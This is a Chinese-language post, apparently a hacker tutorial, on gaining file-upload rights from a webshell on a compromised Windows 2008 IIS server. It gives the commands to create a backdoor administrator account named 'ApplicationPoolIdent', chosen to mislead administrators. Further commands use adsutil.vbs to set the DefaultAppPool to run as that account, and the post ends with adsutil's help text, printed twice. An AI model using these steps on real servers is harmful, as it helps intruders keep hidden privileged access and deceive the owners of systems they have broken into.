如果将IIS应用程序池的权限调整至内置账户,如图01,也是无法上传文件至目标的.
原本以为调整至system权限就可以了,没想到 默认的标识是这个ApplicationPoolIdentity这个权限在webshell上无法上传文件至任何位置.我们可以建立这样一个用户名来迷惑管理员.但是由于window用户名长度有限(最长20个字符),因此我们建立ApplicationPoolIdent用户:
net user ApplicationPoolIdent robot@007 /add net localgroup administrators ApplicationPoolIdent /add
通过默认脚本文件超过IIS,修改应用池的权限: # 查看有几个对象
Cscript.exe C:\inetpub\AdminScripts\adsutil.vbs ENUM /P W3SVC
返回:
Microsoft (R) Windows Script Host Version 5.8 版权所有(C) Microsoft Corporation 1996-2001。保留所有权利。[/W3SVC/FILTERS] [/W3SVC/APPPOOLS] [/W3SVC/INFO] [/W3SVC/1]查看应用程序池名字: Cscript.exe C:\inetpub\AdminScripts\adsutil.vbs ENUM /P W3SVC/APPPOOLS 返回: Microsoft (R) Windows Script Host Version 5.8 版权所有(C) Microsoft Corporation 1996-2001。保留所有权利。[/W3SVC/APPPOOLS/DefaultAppPool] [/W3SVC/APPPOOLS/Classic .NET AppPool]
接下来查看应用程序池信息,我们以DefaultAppPool默认应用程序池为例. # 注意这里没有/P参数,就可以显示信息了 Cscript.exe C:\inetpub\AdminScripts\adsutil.vbs ENUM W3SVC/APPPOOLS/DefaultAppPool
返回: Microsoft (R) Windows Script Host Version 5.8 版权所有(C) Microsoft Corporation 1996-2001。保留所有权利。KeyType : (STRING) "IIsApplicationPool" AppPoolIdentityType : (INTEGER) 3 WAMUserName : (STRING) "ApplicationPoolIdent" WAMUserPass : (STRING) "**********" AppPoolCommand : (INTEGER) 1 AppPoolState : (INTEGER) 2 Win32Error : (INTEGER) 0 # 最后一步执行修改参数 Cscript.exe C:\inetpub\AdminScripts\adsutil.vbs SET W3SVC/APPPOOLS/DefaultAppPool/WAMUserName "ApplicationPoolIdent" Cscript.exe C:\inetpub\AdminScripts\adsutil.vbs SET W3SVC/APPPOOLS/DefaultAppPool/WAMUserPass "robot@007"
最后重启IIS即可,命令iisreset. 如果有条件的话可以3389操作,如图02,但是不建议这样.再废话一句,adsutil.vbs是默认win2008自带的,功能极其强大,还有很多更邪恶的,期待你们分享. 最后附上adsutil帮助说明: Microsoft (R) Windows Script Host Version 5.8 版权所有(C) Microsoft Corporation 1996-2001。保留所有权利。用法: ADSUTIL.VBS CMD [param param]
描述: 支持 ADSI 参数操作的 IIS 管理实用工具
标准命令: adsutil.vbs GET path - 显示所选参数 adsutil.vbs SET path value ... - 分配新值 adsutil.vbs ENUM path [""/P"" ] - 枚举给定路径的所有参数 adsutil.vbs DELETE path - 删除给定路径或参数 adsutil.vbs CREATE path [KeyType] - 创建给定路径并向其分配给定 KeyType
adsutil.vbs APPCREATEINPROC w3s vc /1/root - 创建进程内应用程序 adsutil.vbs APPCREATEOUTPROC w3svc/1/root - 创建进程外应用程序 adsutil.vbs APPCREATEPOOLPROC w3svc/1/root - 创建进程池应用程序 adsutil.vbs APPDELETE w3svc/1/root - 删除应用程序(如果存在) adsutil.vbs APPUNLOAD w3svc/1/root - 从 w3svc 运行时查找表中卸载应用程序。 adsutil.vbs APPDISABLE w3svc/1/root - 禁用应用程序 - 适用于迁移到另一台计算机。 adsutil.vbs APPENABLE w3svc/1/root - 启用应用程序 - 适用于从另一台计算机导入。 adsutil.vbs APPGETSTATUS w3svc/1/root - 获取应用程序的状态
新 ADSI 选项: /P - 仅对 ENUM 有效。仅枚举路径(不包含数据) KeyType - 仅对 CREATE 有效。为路径分配有效 KeyType
扩展 ADSUTIL 命令: adsutil.vbs FIND path - 查找在其中设置给定参数的路径 adsutil.vbs CREATE_VDIR path - 将给定路径创建为虚拟目录 adsutil.vbs CREATE_VSERV path - 将给定路径创建为虚拟服务器 adsutil.vbs START_SERVER path - 启动给定网站 adsutil.vbs STOP_SERVER path - 停止给定网站 adsutil.vbs PAUSE_SERVER path - 暂停给定网站 adsutil.vbs CONTINUE_SERVER path - 继续给定网站
示例: adsutil.vbs GET W3SVC/1/ServerBindings adsutil.vbs SET W3SVC/1/ServerBindings "":81: adsutil.vbs CREATE W3SVC/1/Root/MyVdir ""IIsWebVirtualDir adsutil.vbs START_SERVER W3SVC/1 adsutil.vbs ENUM /P W3SVC 扩展 ADSUTIL 命令: adsutil.vbs FIND path - 查找在其中设置给定参数的路径 adsutil.vbs CREATE_VDIR path - 将给定路径创建为虚拟目录 adsutil.vbs CREATE_VSERV path - 将给定路径创建为虚拟服务器 adsutil.vbs START_SERVER path - 启动给定网站 adsutil.vbs STOP_SERVER path - 停止给定网站 adsutil.vbs PAUSE_SERVER path - 暂停给定网站 adsutil.vbs CONTINUE_SERVER path - 继续给定网站
示例: adsutil.vbs GET W3SVC/1/ServerBindings adsutil.vbs SET W3SVC/1/ServerBindings "":81: adsutil.vbs CREATE W3SVC/1/Root/MyVdir ""IIsWebVirtualDir adsutil.vbs START_SERVER W3SVC/1 adsutil.vbs ENUM /P W3SVC
查看更多关于解决win2008的webshell下system权限无法上传问题 - 网的详细内容...